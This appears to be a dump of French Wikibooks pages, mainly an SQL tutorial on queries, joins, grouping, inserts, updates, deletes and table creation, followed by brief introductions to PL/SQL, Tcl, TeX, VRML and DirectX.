border="1" cellspacing="0" cellpadding="4" align="center"> <tr> <td><b>genre</b></td> <td><b>nom</b></td> <td><b>prenom</b></td> <td><b>pays</b></td> </tr> <tr> <td>m</td> <td>Chirac</td> <td>Jacques</td> <td>France</td> </tr> <tr> <td>m</td> <td>Couchepin </td> <td>Pascal</td> <td>Suisse</td> </tr> <tr> <td>m</td> <td>Berlusconi</td> <td>Silvio</td> <td>Italie</td> </tr> <tr> <td>f</td> <td>Merkel</td> <td>Angela</td> <td>Allemagne</td> </tr> </table> Vous pouvez renommer les champs dans le résultat de la sélection. <i>Exemple :</i><br/> :<tt>SELECT nom AS "name", prenom AS "firstname" </tt><br/> :::<tt>FROM table_president ;</tt> <br/>Ou<br/> :<tt>SELECT "name" = nom, "firstname" = prenom </tt><br/> :::<tt>FROM table_president ;<br/></tt> <i>Résultat : </i> <table border="1" cellspacing="0" cellpadding="4" align="center"> <tr> <td><b>name</b></td> <td><b>firstname</b></td> </tr> <tr> <td>Chirac</td> <td>Jacques</td> </tr> <tr> <td>Couchepin </td> <td>Pascal</td> </tr> <tr> <td>Berlusconi</td> <td>Silvio</td> </tr> <tr> <td>Merkel</td> <td>Angela</td> </tr> </table> Vous pouvez adapter le résultat à certain critères. <i>Exemple : </i><br/> :<tt>SELECT</tt> <br/> ::<tt>CASE genre</tt><br/> :::<tt>WHEN "m" THEN "Monsieur le président" </tt><br/> :::<tt>WHEN "f" THEN "Madame la présidente" </tt><br/> :::<tt>ELSE "Erreur" </tt><br/> ::<tt>END AS "salutation", nom, prenom </tt><br/> :::<tt>FROM table_president ; </tt><br/> <i>Résultat : </i> <table border="1" cellspacing="0" cellpadding="4" align="center"> <tr> <td><b> salutation </b></td> <td><b>nom</b></td> <td><b>prenom</b></td> </tr> <tr> <td> Monsieur le président </td> <td>Chirac</td> <td>Jacques</td> </tr> <tr> <td> Monsieur le président </td> <td>Couchepin </td> <td>Pascal</td> </tr> <tr> <td> Monsieur le président </td> <td>Berlusconi</td> <td>Silvio</td> </tr> <tr> <td> Madame la présidente </td> <td>Merkel</td> <td>Angela</td> </tr> </table> Vous pouvez utiliser le "plus" pour concaténez les chaînes de caractères. <i>Exemple :</i> <br/> :<tt>SELECT prenom + " " nom + "(" + pays + ")" AS "Nom et pays" </tt><br/> :::<tt>FROM table_president ;</tt> <i>Résultat : </i> <table border="1" cellspacing="0" cellpadding="4" align="center"> <tr> <td><b> Nom et pays </b></td> </tr> <tr> <td>Chirac Jacques (France)</td> </tr> <tr> <td>Couchepin Pascal (Suisse)</td> </tr> <tr> <td>Berlusconi Silvio (Italie)</td> </tr> <tr> <td>Merkel Angela (Allemagne)</td> </tr> </table> Vous pouvez aussi faire des opérations arithmétique ( +, -, *, / ) sur les champs. <i>Exemple : </i> <br/> :<tt>SELECT prix, taux_tva, remise, prix + (prix /100 * taux_tva) - remise AS "total"</tt><br/> :::<tt>FROM table_commande ;</tt> <br> <i>Résultat : </i> <table border="1" cellspacing="0" cellpadding="4" align="center"> <tr> <td><b>prix</b></td> <td><b>taux_tva</b></td> <td><b>remise</b></td> <td><b>total</b></td> </tr> <tr> <td>50</td> <td>10</td> <td>7</td> <td>48</td> </tr> <tr> <td>200</td> <td>25</td> <td>0</td> <td>250</td> </tr> </table> --[[Utilisateur:Daxuza|Daxuza]] 13 mars 2006 à 07:43 (UTC) === WHERE === Le mot clef "<tt>WHERE</tt>" permet de mettre des conditions à la requête. Conditions qui permettent de sélectionner certaines lignes. Les conditions sont des comparaisons entre les champs. <table border="1" cellspacing="0" cellpadding="4"> <tr> <td><b>Elément</b></td> <td><b>Description</b></td> </tr> <tr> <td>></td> <td>Plus grand que</td> </tr> <tr> <td>>=</td> <td>Plus grand et égale à </td> </tr> <tr> <td><</td> <td>Plus petit que</td> </tr> <tr> <td><=</td> <td>Plus petit et égale à</td> </tr> <tr> <td>=</td> <td>Egale à </td> </tr> <tr> <td><></td> <td>Différent de</td> </tr> </table> <i>Exemple : </i> :<tt>SELECT * </tt> ::<tt>FROM table_eleve ;</tt> <i>Résultat : </i> <table border="1" cellspacing="0" cellpadding="4"> <tr> <td><b>nom</b></td> <td><b>age</b></td> </tr> <tr> <td>Paul</td> <td>8</td> </tr> <tr> <td>Jean</td> <td>7</td> </tr> <tr> <td>Jacques</td> <td>8</td> </tr> <tr> <td>Sylvie</td> <td>9</td> </tr> <tr> <td>Steve</td> <td>8</td> </tr> <tr> <td>Julie</td> <td>7</td> </tr> </table> Pour avoir tout les élèves qui ont 8 ans et plus l'on fait ces requêtes. :<tt>SELECT * </tt> ::<tt>FROM table_eleve</tt> :::<tt>WHERE age >= 8 ;</tt> ou :<tt>SELECT * </tt> ::<tt>FROM table_eleve</tt> :::<tt>WHERE age > 7 ;</tt> Pour avoir les élèves qui ont exactement 8 ans. :<tt>SELECT * </tt> ::<tt>FROM table_eleve</tt> :::<tt>WHERE age = 8 ;</tt> Pour avoir tout les élèves qui n'ont pas 9 ans. :<tt>SELECT * </tt> ::<tt>FROM table_eleve</tt> :::<tt>WHERE age <> 9 ;</tt> Pour avoir les élèves qui se nommes Jean. :<tt>SELECT * </tt> ::<tt>FROM table_eleve</tt> :::<tt>WHERE nom = "Jean" ;</tt> Attention, je dois écrire Jean correctement en faisant attention aux espaces. "Jean " ou "jean" ne fonctionnera pas (espace, minuscule). <b>Pour la</b> comparaison de chaîne de caractère regarder le mot clef "<tt>LIKE</tt>". ==== AND et OR ==== Vous pouvez chaîner des conditions avec les mots clef "<tt>AND</tt>" (et), "<tt>OR</tt>" (ou). Sélectionner les élèves qui ont 7 ou 9 an et le nom qui commence par J <i>Exemple : </i> :<tt>SELECT * </tt> ::<tt>FROM table_eleve</tt> :::<tt>WHERE (age = 7</tt> ::::<tt>OR age = 9)</tt> ::::<tt>AND nom Like "J%" ;</tt> ==== IN et NOT IN ==== Vous pouvez aussi faire la comparaison avec une liste grâce à "<tt>IN</tt>" et "<tt>NOT IN</tt>". Sélectionner uniquement les élèves qui ont 7 ans et ceux qui ont 9 ans. <i>Exemple : </i> :<tt>SELECT * </tt> ::<tt>FROM table_eleve</tt> :::<tt>WHERE age IN ( 7 , 9 );</tt> <i>Résultat : </i> <table border="1" cellspacing="0" cellpadding="4"> <tr> <td><b>nom</b></td> <td><b>age</b></td> </tr> <tr> <td>Jean</td> <td>7</td> </tr> <tr> <td>Sylvie</td> <td>9</td> </tr> <tr> <td>Julie</td> <td>7</td> </tr> </table> Pour avoir les élèves qui ne se nomment pas Jean ou Steve ou Julie. <i>Exemple : </i> :<tt>SELECT * </tt> ::<tt>FROM table_eleve</tt> :::<tt>WHERE nom NOT IN ("Jean" , "Steve" , "Julie");</tt> <i>Résultat : </i> <table border="1" cellspacing="0" cellpadding="4"> <tr> <td><b>nom</b></td> <td><b>age</b></td> </tr> <tr> <td>Paul</td> <td>8</td> </tr> <tr> <td>Jacques</td> <td>8</td> </tr> <tr> <td>Sylvie</td> <td>9</td> </tr> </table> ==== BETWEEN ==== Avec "<tt>BETWEEN</tt>" vous pouvez sélectionner des valeurs dans une intervalle. Pour sélectionner les élèves qui ont entre 6 et 8 ans. <i>Exemple : </i> :<tt>SELECT * </tt> ::<tt>FROM table_eleve</tt> :::<tt>WHERE age BETWEEN 6 AND 8 ;</tt> <br/> Et avec le "<tt>NOT BETWEEN</tt>" vous pouvez sélectionner les élèves qui ne sont pas dans la tranche d'âge 6-8 ans. <i>Exemple : </i> :<tt>SELECT * </tt> ::<tt>FROM table_eleve</tt> :::<tt>WHERE age NOT BETWEEN 6 AND 8 ;</tt> ==== LIKE ==== Condition sur une chaîne de caractère. <br/><tt>_</tt> : Joker qui remplace exactement un caractère. <br/><tt>%</tt> : Joker qui remplace une suite de caractère. <br/><tt>[-]</tt> : Intervalle de caractère. ''Critère'' : "J_l%"<br/> ''Mots correspondant'' : Jules, Jel, Julie, Julien, Jolien Pour sélectionner des e-mail qui semblent valide. <i>Exemple : </i> :<tt>SELECT * </tt> ::<tt>FROM table_client</tt> :::<tt>WHERE email LIKE "%@%.%" ;</tt> Sélectionne des mots qui commence par "B", suivi de n'importe quel caractère, suivi d'un caractère entre "l" et "r", suivi d'une chaîne de caractère. ''Critère'' : "B_[l-r]%"<br/> ''Mots correspondant'' : Bénin, Berlin, Berne, Belgrade, Bamako<br/><br/> ''Critère'' : [1-7]<br/> ''Résultat'' : 1, 2, 3, 4, 5, 6, 7 ==== IS NULL ==== <tt>IS NULL</tt> permet de sélectionner les valeurs nulles. <i>Exemple : </i> :<tt>SELECT * </tt> ::<tt>FROM table_client</tt> :::<tt>WHERE adresse IS NULL ;</tt> Le résultat sera l'ensemble des enregistrement de la table_client où les adresses sont nulles. <tt>IS NOT NULL</tt> permet de sélectionner uniquement ceux qui n'ont pas la valeur nulle. <i>Exemple : </i> :<tt>SELECT * </tt> ::<tt>FROM table_client</tt> :::<tt>WHERE adresse IS NOT NULL :</tt> Cette fois nous avons l'ensemble des enregistrement de la table_client qui ont une adresse. ==== Jointures ==== Les jointures permettent d'assembler les champs de différentes tables.<br/><br/> [[Image:Jointure.gif]] ===== Jointure interne ===== <tt>INNER JOIN</tt><br/> [[Image:INNER_JOIN.gif]] ''Exemple'' Nous avons une table d'élèves. <table border="1" cellspacing="0" cellpadding="4"> <tr> <td><b>id_eleve</b></td> <td><b>nom</b></td> <td><b>age</b></td> </tr> <tr> <td>1</td> <td>Paul</td> <td>8</td> </tr> <tr> <td>2</td> <td>Jean</td> <td>7</td> </tr> <tr> <td>3</td> <td>Jacques</td> <td>8</td> </tr> <tr> <td>4</td> <td>Sylvie</td> <td>9</td> </tr> <tr> <td>5</td> <td>Steve</td> <td>8</td> </tr> <tr> <td>6</td> <td>Julie</td> <td>7</td> </tr> </table> une table de branche. <table border="1" cellspacing="0" cellpadding="4"> <tr> <td><b>id_branche</b></td> <td><b>nom</b></td> </tr> <tr> <td>1</td> <td>Francais</td> </tr> <tr> <td>2</td> <td>Histoire</td> </tr> <tr> <td>3</td> <td>Math</td> </tr> </table> et une table de note. <table border="1" cellspacing="0" cellpadding="4"> <tr> <td><b>id_note</b></td> <td><b>id_eleve</b></td> <td><b>id_branche</b></td> <td><b>note</b></td> </tr> <tr> <td>1</td> <td>1</td> <td>1</td> <td>8</td> </tr> <tr> <td>2</td> <td>2</td> <td>1</td> <td>10</td> </tr> <tr> <td>3</td> <td>4</td> <td>1</td> <td>10</td> </tr> <tr> <td>4</td> <td>5</td> <td>1</td> <td>8</td> </tr> <tr> <td>5</td> <td>6</td> <td>1</td> <td>4</td> </tr> </table> <br/>Pour afficher chaque note avec l'élève et la branche correspondante, je dois faire une jointure. :<tt>SELECT notes.id_note, eleves.nom as eleve, branche.nom as branche, notes.note</tt> ::<tt>FROM eleves, branches, notes</tt> :::<tt>WHERE eleves.id_eleve = notes.id_eleve</tt> ::::<tt>AND branche.id_branche = notes.id_branche ;</tt> <br/>ou :<tt>SELECT notes.id_note, eleves.nom as eleve, branche.nom as branche, notes.note</tt> ::<tt>FROM notes INNER JOIN eleves ON notes.id_eleve = eleves.id_eleve </tt> :::<tt>INNER JOIN branche ON notes.id_branche = branche.id_ branche ;</tt> <table border="1" cellspacing="0" cellpadding="4"> <tr> <td><b>id_note</b></td> <td><b>eleve</b></td> <td><b>branche</b></td> <td><b>note</b></td> </tr> <tr> <td>1</td> <td>Paul</td> <td>Francais</td> <td>8</td> </tr> <tr> <td>2</td> <td>Jean</td> <td>Francais </td> <td>10</td> </tr> <tr> <td>3</td> <td>Sylvie</td> <td>Francais </td> <td>10</td> </tr> <tr> <td>4</td> <td>Stève</td> <td>Francais </td> <td>8</td> </tr> <tr> <td>5</td> <td>Julie</td> <td>Francais </td> <td>4</td> </tr> </table> ===== Jointure externe ===== Dans le cas ci-dessus nous ne pouvons pas voir l’élève Jacques (3) qui n’a pas participé à l’examen de français.<br/><br/> <tt>LEFT OUTER JOIN</tt><br/> [[Image:LEFT_OUTER_JOIN.gif]] <tt>RIGHT OUTER JOIN</tt><br/> [[Image:RIGHT_OUTER_JOIN.gif]] <tt>FULL OUTER JOIN</tt><br/> [[Image:FULL_OUTER_JOIN.gif]] ===== Auto jointures ===== ==== Sous-requêtes ==== l'instruction GROUP BY en sql permet de grouper un enssemble d'enregistrements issus d'une requette exemple : <b>Remarque</b> <ul> <li>La présence de la clause GROUP BY est nécessaire dès que la requête comporte dans la clause de sélection (SELECT) la filtre (WHERE), les jointures, ... simultanément des colonnes de tables hors calcul et des calcul d'agrégation.</li> <li>Dans ce cas, <b>toutes les colonnes représentées hors des calculs d'agrégation doivent figurer dans la clause GROUP BY.</b></li> === HAVING === Cette clause est liée à la clause GROUP BY. Elle permet de préciser une sélection. Lorsque l'on applique GROUP BY, on effectue une réunion. HAVING va nous permettre d'émettre une condition sur cette réunion. La clause HAVING est largement utilisée avec les fonctions d'aggrégations. Prenons par exemple le modèle logique suivant: <b>élèves</b>( <u><b>id_élève</b></u>, nom_élève, prénom_élève, adresse_éléve, cp_élève, ville_élève, <b># id_classe</b> ) <b>Classes</b>( <u><b>id_classe</b></u>, nom_classe, <b># id_section</b> ) <b>section</b>( <u><b>id_section</b></u>, nom_section ) Lorsque l'on veut afficher la classe, la section de chaque élève on procède comme suit:<br> ::<tt>SELECT</tt> <i>nom_élève as "nom", prenom_élève as "prenom", nom_classe as "classe", nom_section as "section" <br></i> ::<tt>FROM</tt> <i>élèves e, classes c, section s</i><br> ::<tt>WHERE</tt> <i>e.id_classe=c.id_classe</i><br> ::<tt>AND</tt> <i>c.id_section=s.id_section</i><br> Si nous voulons obtenir les effectifs de chaque classes nous faisons:<br> ::<tt>SELECT</tt> <i>id_classe, count(*)</i><br> ::<tt>FROM</tt> <i>élèves</i><br> ::<tt>GROUP BY</tt> <i>id_classe<br></i><br> Si cette fois nous voulons filtrer les effectifs et n'afficher que les classes qui ont un effectif inférieur ou égal à 20 élèves, nous faisons:<br> ::<tt>SELECT</tt> <i>id_classe, count(*)</i><br> ::<tt>FROM</tt> <i>élèves</i><br> ::<tt>GROUP BY</tt> <i>id_classe</i><br> ::<tt>HAVING</tt> <i>count(*) <= 20</i><br> Attention la clause HAVING doit impérativement précéder la clause ORDER BY.<br> exemple :<br> ::<tt>SELECT</tt> <i>id_classe as "identifiant", nom_classe as "nom", count(*) as "effectif"</i><br> ::<tt>FROM</tt> <i>classes c, élèves e</i><br> ::<tt>WHERE</tt> <i>e.id_classe=c.id_classe</i><br> ::<tt>GROUP BY</tt> <i>(identifiant,nom)</i><br> ::<tt>HAVING</tt> <i>count(*) </i><tt>BETWEEN</tt><i> 15 </i><tt>AND</tt><i> 30</i><br> ::<tt>ORBER BY</tt> <i>nom ASC</i><br> === ORDER BY === Cette clause permet d'ordonner les résultats d'une requête. On peut les ordonner de deux manières : ascendante (ou dans l'ordre croissant) avec le mot clé ASC ou descendant (décroissant) avec le mot clé DESC.<br> <br> Reprennons notre modèle logique :<br> <b>élèves</b>( <u><b>id_élève</b></u>, nom_élève, prénom_élève, adresse_éléve, cp_élève, ville_élève,<b> # id_classe</b> )<br> <br> Si l'on désire afficher les élèves par ordre alphabétique croissant sur le nom, on fait :<br> ::<tt>SELECT</tt><i> * </i><br> ::<tt>FROM</tt><i> élèves</i><br> ::<tt>ORDER BY </tt><i>nom_élève</i> <tt>ASC</tt>;<br> <br> La requete ci dessous est équivalente:<br> ::<tt>SELECT</tt><i> * </i><br> ::<tt>FROM </tt><i>élèves</i><br> ::<tt>ORDER BY </tt><i>nom_élève</i><br> La plupart des SGBD trient par défaut de manière croissante.<br> <br> Nous pouvons préciser le tri. Par exemple nous voulons trier sur le nom, puis le prénom puis l'adresse de manière décroissante.<br> ::<tt>SELECT</tt><i> * </i><br> ::<tt>FROM</tt><i> élèves</i><br> ::<tt>ORDER BY</tt> <i>(nom_élève, prénom_élève, adresse_élève)</i> <tt>DESC</tt>;<br> == Instruction INSERT == Cette requête sert à insérer des enregistrements dans les tables d'une base de données.<br> La syntaxe de la commande est la suivante:<br> ::<tt> INSERT INTO </tt> <i><nom_de_la_table> (<colonne_1>,<colonne_2>,...,<colonne_n>)</i><br> ::<tt> VALUES </tt> <i> (<valeur_1>,<valeur_2>,...<valeur_n>)</i>;<br> <br> Reprenons notre exemple :<br> <br> <b>élèves</b>( <b><u>id_élève</u></b>, nom_élève, prénom_élève, adresse_éléve, cp_élève, ville_élève, <b># id_classe</b> )<br> <br> Pour ajouter un enregistrement à cette table, nous faisons :<br> ::<tt>INSERT INTO</tt> <i>élèves (id_élève, nom_élève, prénom_élève, adresse_éléve, cp_élève, ville_élève, id_classe)</i><br> ::<tt>VALUES</tt> <i>('1','brindzingue','toto','trifoullie les oyes','66000','un coin perdu','12')</i>;<br> <br> Remarque : Si l'on ajoute tous les champs de l'enregistrement, il n'est pas utile de préciser le nom des champs (ex: nom_élèves, ville_élève, ...), il suffit de saisir, dans l'ordre des champs de la base de données (de la gauche vers la droite) les valeurs associées aux enregistrements.<br> <br> L'exemple suivant est donc equivalent à l'exemple précédent:<br> ::<tt>INSERT INTO</tt> <i>élèves</i><br> ::<tt>VALUES</tt> <i>('1','brindzingue','toto','trifoullie les oyes','66000','un coin perdu','12')</i>;<br> <br> Pour n'ajouter que quelques données (données obligatoires par exemple, c'est à dire, celles qui ne doivent pas être nulles dans un enregistrement) on peut opèrer comme suit :<br> En imaginant que les données adresse_éléve, cp_élève et ville_élève soient optionnelles dans la base de données :<br> ::<tt>INSERT INTO</tt> <i>élèves (id_élève, nom_élève, prénom_élève, id_classe)</i><br> ::<tt>VALUES</tt> <i>('1','brindzingue','toto','12')</i>;<br> est une requête valide.<br> == Instruction UPDATE == Cette requête sert à mettre à jour des enregistrements dans les tables d'une base de données. La syntaxe de la commande est la suivante: ::<tt>UPDATE</tt> <i><nom_de_la_table></i><tt>SET</tt><br> ::(<colonne_1>=<nouvelle_valeur> , <colonne_2>=<nouvelle_valeur>, ...)<br> ::<tt>[ WHERE </tt><i><condition></i><tt> ]</tt>;<br> Reprenons notre exemple : élèves( id_élève, nom_élève, prénom_élève, adresse_éléve, cp_élève, ville_élève, # id_classe ) Actuellement la table ressemble à cela :<br> <table border="1" cellpadding="0" cellspacing="0"> <tr><th align="center">id_élève</th><th align="center">nom_élève</th><th align="center">prénom_élève</th><th align="center">adresse_éléve</th><th align="center">cp_élève</th><th align="center">ville_élève</th><th align="center"># id_classe</th></tr> <td align="center">1</td><td align="center">brindzingue</td><td align="center">toto</td><td align="center">trifoullie les oyes</td><td align="center">66000</td><td align="center">un coin perdu</td><td align="center">12</td></tr> </table> Pour mettre à jour un enregistrement dans cette table, nous faisons : ::<tt>UPDATE</tt><i> élève </i><tt>SET</tt><br> ::<i>(nom_élève='Brindzyngue')</i><br> ::<tt>WHERE</tt> <i>id_élève='1'</i>;<br> <br> Après éxécution de la requête, la table est équivalente à :<br> <table border="1" cellpadding="0" cellspacing="0"> <tr><th align="center">id_élève</th><th align="center">nom_élève</th><th align="center">prénom_élève</th><th align="center">adresse_éléve</th><th align="center">cp_élève</th><th align="center">ville_élève</th><th align="center"># id_classe</th></tr> <td align="center">1</td><td align="center">Brindzyngue</td><td align="center">toto</td><td align="center">trifoullie les oyes</td><td>66000</td><td align="center">un coin perdu</td><td align="center">12</td></tr> </table> <br> <br> <b>Attention l'absence de condition peut entrainer certains problèmes (modification des champs de tous les enregistrements par exemple) qui ne provoque pas d'erreur SQL mais qui falsifie toutes les données de la base (les anciennes "bonnes" données risque fort d'être définitivement perdues!!!).</b> == Instruction DELETE == Cette instruction sert à effacer un enregistrement d'une table de la base de données.<br> La syntaxe est la suivante :<br> ::<tt>DELETE FROM </tt> <i> <nom_de_la_table> </i><br> ::<tt>[ WHERE </tt> <i><condition></i><tt> ] ;</tt><br> <br> Reprenons notre exemple : <b>élèves</b>( <b><u>id_élève</u></b>, nom_élève, prénom_élève, adresse_éléve, cp_élève, ville_élève, <b># id_classe</b> )<br> <br> Actuellement la table ressemble à cela :<br> <table border="1" cellspacing="0" cellpadding="0"> <tr><th align="center">id_élève</td> <th align="center">nom_élève</th><th align="center">prénom_élève</th><th align="center">adresse_éléve</th> <th align="center">cp_élève</th><th align="center">ville_élève</th><th align="center"># id_classe</th></tr> <tr><td align="center">1</td> <td align="center">brindzingue</td><td align="center">toto</td> <td align="center">trifoullie les oyes</td> <td align="center">66000</td> <td align="center">un coin perdu</td><td align="center">12</td></tr> </table> Nous allons supprimer l'enregistrement en faisant :<br> ::<tt>DELETE FROM </tt> <i> élève </i><br> ::<tt>WHERE </tt> <i> id_élève='1'</i><tt> ;</tt><br> La table est désormais vide.<br> <br> <b>Attention à la condition. Si elle n'est pas présente, la requête s'applique à tous les enregistrements de la table. En d'autres termes, vous vider la table.</b> Programmation SQL Langage de définition de données 793 39190 2006-03-29T14:21:52Z 139.124.68.71 /* Instruction CREATE TABLE */ {{Programmation SQL}} === Instruction CREATE DATABASE === *'''Syntaxe : ''' CREATE DATABASE nom_base; *'''Signification : ''' crée une base de données appelée '''nom_base'''. *'''Rappel : ''' une base de données est un ensemble de tables. Un SGBD peut gérer plusieurs bases de données. *'''Exemple :'''<br/> CREATE DATABASE `toto` ;<br/> Cet commande permet de créer une base de donnée '''toto'''. === Instruction DROP DATABASE === *'''Syntaxe : ''' DROP DATABASE nom_base; *'''Signification : ''' détruit une base de données appelée '''nom_base'''. *'''remarque :''' cette instruction est parfois désactivée pour des raison de sécurité. *'''Exemple :'''<br/> DROP DATABASE `toto` ;<br/> Cet commande permet de détruire une base de données '''toto'''. === Instruction CREATE TABLE === * Cette instruction permet de créer une table : il faut définir son nom, les différents champs de la table avec leur type ainsi que des caractéristiques comme par exemple des clés. *Chaque champs d'une table possède un type : **CHAR **VARCHAR **INTEGER **NUMBER **DECIMAL **FLOAT **DOUBLE **DATE **TIME **TIMESTAMP * '''Exemple :<br/>''' CREATE TABLE `client1` (`NOM` VARCHAR( 20 ) ,`PRENOM` VARCHAR( 20 ) ,`ADRESSE` VARCHAR( 200 ) );<br/> Cette instruction crée une table intitulée '''client1''' contenant 3 champs : ** Un champ NOM : chaîne d'au plus 20 caractères. ** Un champ PRENOM : chaîne d'au plus 20 caractères. ** Un champ ADRESSE : chaîne d'au plus 200 caractères. === Instruction DROP TABLE === *'''Syntaxe : ''' DROP TABLE nom_table; *'''Signification : ''' détruit la table appelée '''nom_table'''. *'''Exemple :'''<br/> DROP TABLE `client1` ;<br/> Cet commande permet de détruire la table '''client1''' === Instruction CREATE VIEW === <pre> CREATE OR REPLACE VIEW {nom_de_la_vue} AS {Insctruction SELECT} WITH READ ONLY; </pre> Avec [[w:Oracle (base de données)|Oracle]] : * La création d'une vue nécessite les droits de création de vue. * L'instruction <code>WITH READ ONLY</code>(lecture seule) est facultative. * Une vue qui comporte certaines expressions (comme <code>GROUP BY</code>) est forcément en lecture seule. * L'<code>{Instruction SELECT}</code> de la vue ne comportera pas d'<code>ORDER BY</code>. Programmation SQL Langage de contrôle de données 794 35442 2006-03-02T08:22:35Z Merrheim 1032 {{Programmation SQL}} === Instruction GRANT === === Instruction REVOKE === Programmation SQL PL/SQL 795 12472 2004-11-08T20:33:16Z Guillaumito 46 -Fr * [[Programmation SQL PL/SQL Introduction|Introduction]] Programmation SQL PL/SQL Introduction 796 12473 2004-11-08T16:27:49Z Traroth 42 cp PL/SQL est un langage procédural propriétaire créé par Oracle et spécifique à sa base de données relationnelle. Ce langage permet de combiner des requêtes SQL et des instructions procédurales (boucles, conditions...), dans le but des créer des traitements complexes destinés à être stockés sur le serveur de base de données (objets serveur), comme par exemple des procédures stockées ou des triggers. Programmation Tcl 797 22013 2005-09-24T13:17:45Z Pfv2 445 parenthèsage ça n'existe pas !!!!!!! * [[Programmation Tcl Introduction|Introduction]] * [[Vos premiers pas en Tcl]] * [[Vos premiers pas en Tk]] * [[Notation particulière de Tcl]] '''set y [f a b]''' Les parenthèses sont avant la fonction. Programmation Tcl Introduction 798 22001 2005-09-24T12:57:54Z Pfv2 445 corriger une dizaine de fautes Il était une fois un programmeur qui avait passé des milliers d'heures à programmer en C, particulièrement des applications de calculs scientifiques (traitement vidéo). Avec les années, il avait acquis une grande facilité dans l'écriture des programmes C, et en même temps une certaine impatience. Autant le C le satisfaisait pour le calcul scientifique, autant dès qu'il fallait traiter des fichiers ou des chaînes de caractères, il trouvait que c'était fastidieux et surtout générateur d'erreurs de manière inacceptable. Comme tout le monde, il avait entendu parler des langages de script genre Perl, tcl/tk, et autres (python). A l'occasion de l'installation de son PC sous Linux, il prit le temps de commencer à programmer en tcl. Et ce fut un choc. Plus de pointeurs, plus de gestion-mémoire, de l'idée au programme en un minimum de lignes. Tout cela trivial à apprendre et gratuit, qui peuvent être redistribué, fonctionnant sous Unix (tous les Unix) et sous windows. Capable de faire des interfaces graphiques de manière très facile, de la programmation cgi en plaisantant. Facile à expliquer. Génial. Ce programmeur, c'est moi. Et j'ai très envie de vous faire partager cette passion pour mon langage préféré. Tcl (Tool Command Language) est un langage de programmation initialement conçu en 1989 pour le système d'exploitation UNIX par le Dr John Ousterhout et son équipe à l'Université de Berkeley. Tcl est un langage facile à apprendre, surtout pour un habitué du Langage C. Il permet de développer très rapidement des logiciels de petite taille. La promotion de Tcl est maintenant assurée par la société ActiveState. Cependant, Tcl est un logiciel libre. Tcl est surtout connu pour son extension graphique TK. Tcl/Tk permet de concevoir des applications fenêtrées indépendamment de la plateforme (Xwindows / Mac / Windows) à la manière du Langage Java. Tcl étant un langage interprété, le développement d'un programme est rapide et peut s'effectuer par touche successive. Cette méthode de travail correspond à un cycle de développement en cascade. Tcl facilite l'accès aux fonctions de son interpréteur, ce qui contribue à la puissance du langage et le place à mi-chemin entre un langage fonctionnel (LISP) et un langage interprété ordinaire (BASIC). Programmation TeX 799 12476 2004-11-08T20:35:27Z Guillaumito 46 -Fr * [[Programmation TeX Introduction|Introduction]] Programmation TeX Introduction 800 12477 2004-11-08T22:07:08Z Guillaumito 46 -{{Programmation}}, c'est pas la que je voulais le mettre... '''TeX''' est un système logiciel de composition de documents, largement utilisé par les scientifiques, particulièrement en mathématiques, physique et en informatique. Il a été créé à partir de 1977 par le mathématicien [[w:fr:Donald Ervin Knuth|Donald Knuth]], excédé par la qualité de la typographie de l'époque, lorsqu'il était en train de réviser la première édition de son livre ''The Art of Computer Programming''. TeX interprète un langage de description formel de document (couramment, on ne fait pas la distinction entre le logiciel TeX et ce langage que l'on appelle également TeX) : autrement dit ce n'est pas un formateur de texte [[w:fr:Wysiwyg|wysiwyg]] (traduire « What You See Is What You Get ») où le document en préparation apparaît à l'écran comme il est censé être une fois imprimé, mais un logiciel traduisant du texte en un document graphique. L'utilisation directe de TeX étant assez ardue, il a été étendu en [[Programmation LaTeX|LaTeX]] (là encore, pas de distinction avec le nom du langage dans lequel est décrit le document que l'on appelle également LaTeX), écrit à l'origine par [[w:fr:Leslie Lamport|Leslie Lamport]], qui constitue en fait un jeu de macro-commandes basées sur TeX. ==Liens externes== * [[w:fr:TeX|Page de wikipédia sur TeX]] Programmation VRML 801 12478 2004-11-08T20:36:29Z Guillaumito 46 -Fr * [[Programmation VRML Introduction|Introduction]] Programmation VRML Introduction 802 12479 2004-11-08T16:29:47Z Traroth 42 cp '''VRML''' (Virtual Reality Markup Language, ou aussi Virtual Reality Modeling Language) Langage de programmation spécialisé dans la représentation d'univers virtuels en 3 dimensions. Présenté lors de la World Wide Web Conference de 1994, VRML n'est pas l'oeuvre d'un unique programmeur, mais plutôt le résultat de la collaboration de plusieurs professionnels de la 3D, dont entre autres Mark Pesce, Tony Parisi, Gavin Bell (Silicon Graphics) et Paul Strauss (Silicon Graphics). Le but premier de ce langage est de permettre la représentation d'univers 3D virtuels sur des sites Internet. Les fichiers .wrl sont des fichiers contenant le texte du programme VRML. Chaque fichier .wrl, stocké sur le serveur Internet, est téléchargé par le butineur, et est interprété en temps réel sur la machine où se trouve le butineur. Néanmoins, rares sont les butineurs permettant l'interprétation des programmes VRML. La plupart du temps, il faut installer un butineur VRML qui, selon les cas, vient se greffer de façon transparente au butineur standard, ou fonctionne de façon totalement autonome en complément du butineur standard. Les programmes VRML décrivent des formes (sphères, cubes, cônes, cylindres ...), des éclairages, des sons, des liens hypertexte, ainsi que leur agencement dans l'espace, leur texture, leur couleur, leur matériau, etc. Programmation DirectX 803 12480 2004-11-08T20:38:24Z Guillaumito 46 -Fr * [[Programmation DirectX Introduction|Introduction]] Programmation DirectX Introduction 804 12481 2004-11-08T16:32:03Z Traroth 42 cp '''Microsoft DirectX''' est une suite d'APIs multimédia intégrée au système d'exploitation Windows permettant d'exploiter les capacités matérielles d'un ordinateur. DirectX fournit un ensemble de bibliothèques de fonctions essentiellement dédiées aux traitements audio/vidéo (carte vidéo, carte son, carte 3D, etc.) et aux périphériques d'entrée/sortie (joystick, carte réseau, souris, etc.). L'avantage des fonctions de DirectX pour les programmeurs est que celles-ci utilisent (si possible) un algorithme alternatif (confié au processeur) quand le matériel installé ne gère pas ce type de traitement. Il fonctionne comme une surcouche de Windows, évitant théoriquement aux programmeurs de devoir s'occuper des différences matérielles qui existent entre les différents PCs. Par exemple, si une carte vidéo n'a pas de fonctions dédiées à la 3D, DirectX demandera au processeur de s'occuper du rendu d'une image de synthèse ou le rendu 3D en temps réel. DirectX est la propriété de la société Microsoft. Ce produit n'étant pas libre, les sources ne sont pas rendues publiques, contrairement à la bibliothèque OpenGL, concurrente de Direct3D. Malgré cela, il devient de plus en plus incontournable notamment dans le domaine de la programmation des jeux vidéo 3D, Microsoft passant des accords technologiques avec les constructeurs de cartes 3D grand public. La Xbox, la console de Microsoft, utilise une version modifiée de DirectX 8.1. == Famille DirectX == DirectX est constitué de plusieurs modules plus ou moins indépendants les uns des autres, dont : *Direct3D : gère 